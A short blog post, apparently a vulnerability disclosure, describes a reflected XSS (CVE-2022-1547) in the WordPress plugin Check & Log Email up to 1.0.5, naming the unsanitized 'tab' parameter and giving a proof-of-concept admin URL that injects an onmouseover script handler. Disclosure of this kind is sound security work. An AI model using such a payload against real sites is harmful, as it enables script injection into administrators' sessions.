wp_check_email

Check & Log email <= 1.0.5 Reflected XSS（CVE-2022-1547）

In file check-email\include\Core\UI\Page\Check_Email_Settings_Page.php $_GET['tab']does not sanitized and leading a Reflected XSS.

POC:

1
http://127.0.0.1/wp-admin/admin.php?page=check-email-settings&tab="> <input type="text" name="test" value="xxxxx" onmouseover=alert(1) test=""/

CVE
XSS

本博客所有文章除特别声明外，均采用 CC BY-SA 4.0 协议 ，转载请注明出处！